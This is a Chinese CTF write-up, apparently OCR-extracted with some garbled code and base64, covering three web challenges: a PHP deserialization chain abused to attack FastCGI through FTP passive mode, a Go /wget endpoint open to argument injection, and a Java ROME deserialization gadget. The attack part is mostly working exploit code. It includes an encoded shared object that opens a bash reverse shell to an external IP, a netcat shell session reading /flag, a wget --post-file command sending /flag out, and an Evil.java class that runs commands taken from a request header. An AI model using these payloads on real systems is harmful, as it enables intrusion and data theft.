前言

题挺有意思的,Web有点难,而且后面三道难题放的有点晚了,时间不够(肝了一下午的Java)。这个比赛的难度,能早9晚9的话可能还好一些,早9晚5就有点紧了。

Java还是太菜了,需要学很多的东西。

eaaasyphp

反序列化链的构造很简单就不提了,正常构造写文件发现应该是不行的,目录应该不可写。给了个Hint 类里面提示phpinfo,那打一下phpinfo看一下:

```
class Bypass {
   public function __construct(){
        $this->str4 = "phpinfo";
        $this->feng = new Esle();
}

/*   public function __destruct()
   {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            //throw new Error("Error");
        }
   }*/
}
echo urlencode(serialize(new Bypass()));
```

发现有fastcgi, 再联想到利用的这里:

```
file_put_contents($this->filename, $this->data);
```

很容易想到利用ftp被动模式打fastcgi了。

流程按蓝帽杯那题来就行了,不细锁了。先把恶意类的so打过去,把它写在 / tmp/feng.so:

```
import base64
import requests
```

kFVx8YxHbPRhAR/Mm8cM7AFWRAAAAAAMAAAGAAAAQAAAAYAAACIwiABABRACQYAAAAIAAAACgAAAEJ QIAAAAAAAAAAAAAAAAAACNAAAAEAAXADAQIAAAAAAAAAAAAAAAAACBAAAAEAAXACgQIAAAAAAAAAAAAAA GAAAAAAAEwAAAAAAAAAAX19nbW9ux3N0YXJ0X18AX2luaXQAX2ZpbmkAX0luTv9kZXJlz2lzdGvyvE1 DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAcHJlbG9hZAB zeXN0Zw0AbgliYy5zby42AF91ZGF0YQBfX2Jzc19zdGFydABfZw5kAEdMSUJDXzIuMi41AAAAAAACAAA AAAACAAEAAQABAAEAAQABAAAAAQABAHAAAAAQAAAAAAAAHUaaQkaAAIAkqAAAAAAAIDiAAAAAAAAq AAAAYECAAAAAAAAAAAAAAAAAAAAAAAAABIg+wISIsF3QogAEiFwHQC/9BIg8QIwwAAAAAAAAAAAAAP8 qAEq5+EiJ5XQZSIsFcqoqAEiFwHQNXf/qZi4PH4QAAAAAAF3DDx9AAGYuDx+EAAAAAABIjT2RCiAASI0 1iqoqAFVIKf5IieVIwf4DSInwSMHoP0qBxkjR/nQYSIsFMQoqAEiFwHQMXf/qZq8fhAAAAAAXCMPH0A AZi4PH4QAAAAAAIA9QQogAAB1L0iDPQcKIAAAVUiJ5XQMSIs9IgogAOg9///6Ej///GBRkKIAABXcM PH4AAAAAA88NmDx9EAABVSIn1Xe1m///VUiJ5UiNPRSAAAD09v7//5BdwwAAAEiD7AhIg8QIwwAAAAA AAABiYXNOIC1jICdiYXNOIC1pID4mIC9kZXYVdGNwLzEyMS41LjE2OS4yMjMvMzk4NzYgMD4mMScAAAE bazskaaaaawaaajj+//9aaaaaup7//2gaaaCi///gaaaaaaaaaaaaaaaaaaaaaaf6ugaBeBaBGwwHCJa BAAAKAAAAHAAAAFD+//8qAAAAAA4QRq4YSq8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAABI/v//CAAAAAA

OIAAAAAAAAAAAAAAABtaaaaqaMaCAGAAAAAAAAAAAAAAAB5AAAAQARAAqOIAAAAAAAAAAAAAA AAACYAAAABADx/waaaaaaaaaaaaaaaaaaaaaaabaaaabaDx/waaaaaaaaaaaaaaaaaaaaaaaCfaaaaaQQQQCq HAAAAAAAAAAAAAAAAAAAAAAAAABADx/waaaAaAaAAAAAAAAAAAAAACtaAaAQAWACAQIAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAB3AQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAACTAQAAEgAJAAAFAAAAAAAAAAAAAAA AAAAAY3J0c3R1ZmYuYwBkZXJ1Z21zdGVyX3RtX2Nsb251cwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29 tcGxldGVkLjc2OTgAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHV tbXkAX19mcmFtzV9kdW1teV9pbm10X2FycmF5X2VudHJ5AGhhY2suYwBfX0ZSQU1FX0VORF9fAF9fZHN vX2hhbmRszQBfRFlOQU1JQwBfX0dovV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZ TRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEB HTE1CQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX01UTV9yZWd pc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAX2luaXQAAC5zeW10YWI ALnN0cnRhygAuc2hzdHJ0YWIALm5vdGUuZ251LmJ1aWxkLW]kAC5nbnUuaGFzaAAuZHluc3ltAC5keW5 zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnB sdC5nb3QALnR1eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbwVfaGRyAC51aF9mcmFtZQAuaW5pdF9hcnJ heQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAA AAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAAAWAgAAAAAAADACAAAAAAIAEAAAAAAAAAAAAAAQAAAAg

url="http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/" params = { "code":'0:6:"Bypass":2:{s:4:"str4";0:7:"Welcome":1: {s:8:"username";0:5:"Bunny":1: {s:8:"filename";s:12:"/tmp/feng.so";}}s:4:"feng";0:4:"Esle":0:{}}' } data={ "data":base64.b64decode(payload) r=requests.post(url=url,params=params,data=data)

ftp那边起,nc起,然后payload打过去就行了:

```
<?php
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
class Esle {
   public function __wakeup()
        Check::$str1 = true;
   }
}
class Hint {
    public function __wakeup(){
        $this->hint = "no hint";
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
```

```
($this->hint)();
            }
      }
}
class Bunny {
      public function __construct(){
            $this->filename="ftp://121.5.169.223:39444/1";
            $this->data =
 \verb|urldecode|| \end{tikzpicture} 
%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILE
NAME%2Fvar%2Fwww%2Fhtm1%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%
2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%
0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE
_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost
%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-
);
      }
      public function __toString()
            if (Check::$str2) {
                  if(!$this->data){
                        $this->data = $_REQUEST['data'];
                  }
                  file_put_contents($this->filename, $this->data);
            } else {
                  throw new Error("Error");
            }
      }
}
class Welcome {
      public function __construct(){
            $this->username = new Bunny();
      }
      public function __invoke()
            Check::$str2 = true;
            return "Welcome" . $this->username;
      }
}
class Bypass {
      public function __construct(){
            $this->str4 = new Welcome();
            $this->feng = new Esle();
      }
        public function __destruct()
            if (Check::$str1) {
                  ($this->str4)();
            } else {
                  //throw new Error("Error");
            }
```

```
}*/
}
echo urlencode(serialize(new Bypass()));
```

```
root@VM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 64381 received!
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a4c71746264f:~/html$ ls
1s
index.php
www-data@a4c71746264f:~/html$ cd /
cd /
www-data@a4c71746264f:/$ ls
1s
bin
boot
dev
etc
flag
home
lib
1ib64
media
mnt
opt
php.ini
proc
root
run
sbin
srv
sudoers
sys
tmp
usr
var
www-data@a4c71746264f:/$ cat /flag
cat /flag
flag{b483c338-32f1-48a9-819f-72e276607834}
```

CheckIN

一道Go的代码审计,大致扫一遍应该就知道了,/wget 是利用到,但是似乎鉴权没有做:

```
router.GET("/wget", getController)
```

```
func getController(c *gin.Context) {

    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }

    c.String(http.StatusOK, "Nothing")
}
```

直接能执行命令了,拿wget把flag带出来即可:

```
/wget?argv=1&argv=--post-file&argv=/flag&argv=http://121.5.169.223:39876/
```

```
root@vM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 121.5.169.223:39876
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
flag{88729834-1693-4af8-abba-0ebf6bd84ec2}
```

EasyJaba

给了个反序列化的入口,而且调用了toString()方法:

```
this.add("java.util.HashMap");
                this.add("javax.management.BadAttributeValueExpException");
            }
        }:
        Object object = null;
        byte[] b = Tool.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        BlacklistObjectInputStream ois = new
BlacklistObjectInputStream(inputStream, blacklist);
        try {
            object = ois.readObject();
        } catch (IOException var12) {
            var12.printStackTrace();
        } catch (ClassNotFoundException var13) {
            var13.printStackTrace();
        } finally {
            System.out.println("information:" + object.toString());
        }
        return "calm down....";
    }
```

但是有黑名单,看一下pom.xml:

```
<?xml version="1.0" encoding="UTF-8"?>
project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0"
https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelversion>4.0.0</modelversion>
    <parent>
        <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-parent</artifactId>
       <version>2.5.6
        <relativePath/> <!-- lookup parent from repository -->
   </parent>
   <groupId>com.kyzy.ctf
   <artifactId>ezjaba</artifactId>
   <version>0.0.1-SNAPSHOT</version>
   <name>ezjaba</name>
   <description>Demo project for Spring Boot</description>
   cproperties>
        <java.version>1.8</java.version>
   </properties>
    <dependencies>
       <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
```

有个rome显得很突兀,查一下确实有个链可以rce,但是需要用到被ban了的HashMap。但用到 HashMap其实只是为了在Gadget中调用到那个toString,但本题已经显示的调用了,所以从网上找POC 改一下即可:

```
package com.summer.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
   public static class StaticBlock { }
   public static void main(String[] args) throws Exception {
       byte[][] bytecodes = new byte[][]{Base64.getDecoder().decode("xxx")};
       // 实例化类并设置属性
       TemplatesImpl templatesimpl = new TemplatesImpl();
       Field fieldByteCodes =
templatesimpl.getClass().getDeclaredField("_bytecodes");
       fieldByteCodes.setAccessible(true);
       fieldByteCodes.set(templatesimpl, bytecodes);
       Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
       fieldName.setAccessible(true);
       fieldName.set(templatesimpl, "test");
```

```
Field fieldTfactory =
templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl,
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryIm
pl").newInstance());
        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp.replace("+","%2b"));
   }
}
```

还是动态加载字节码,关键就是那个恶意类里面要执行的代码该怎么写了。

我先是在本地打通了,远程那边一直没有回显,猜测是不出网,问了一下出题人确实是不出网的。

然后就开始了一下午的不出网回显尝试,尝试了各种奇奇怪怪的东西,什么dns, tomcat的各种内存马,Spring的内存马,等等发现都没打通。。。至于为什么我也不知道,不太会Java,这些东西等以后自己慢慢学到了应该就知道了。

最后是找到了这个东西:

https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

感觉也不算是内存马吧,就是通过上下文还有反射最终来回显。我一开始也想过就是能不能按照Tomcat的Filter的那种思路(因为刚学过)去获取Request,再想办法获取获取Response,不是想办法注册Filter了,而是直接把结果回显,但是想了一下网上可能有现成的就一直在找现成的POC没去找这个东西,结果还是错付了。

写个 Evil.java:

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
```

```
@override
    public void transform(DOM document, SerializationHandler[] handlers) throws
TransletException {
    }
    @override
    public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
    public Evil() throws Exception{
                    class c =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.we
b.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c =
Thread.currentThread().getContextClassLoader().loadClass("org.springframework.we
b.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletR
esponse").getDeclaredMethod("getWriter");
        Method getHeader =
Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.Htt
pServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName =
System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println",
String.class).invoke(writer, new
Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDel
imiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}
            String[] cmd = {"/bin/sh","-c","curl http://172.16.177.48:39555/ -
         //
F file=@/flag"};
         //
                      InputStream in =
Runtime.getRuntime().exec(cmd).getInputStream();
```

```
byte[] bcache = new byte[1024];
//
//
          int readSize = 0;
//
          try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
//
              while ((readSize =in.read(bcache))!=-1){
//
                  outputStream.write(bcache,0,readSize);
//
              }
//
              String result = outputStream.toString();
          InetAddress.getByName("1m221641.ns.dns3.cf.").isReachable(3000);
//
//
        }
       // }
            //Runtime.getRuntime().exec("sh /tmp/feng");
        //}
        //catch (Exception ex) {
        // ex.printStackTrace();
        //}
```

然后javac编译成class, 然后 cat Evil.class|base64 -w 0, 再把这段base64扔到上面的那个代码里面的 byte[][] bytecodes = new byte[][]{Base64.getDecoder().decode();, 生成payload, 然后打过去就回显了:



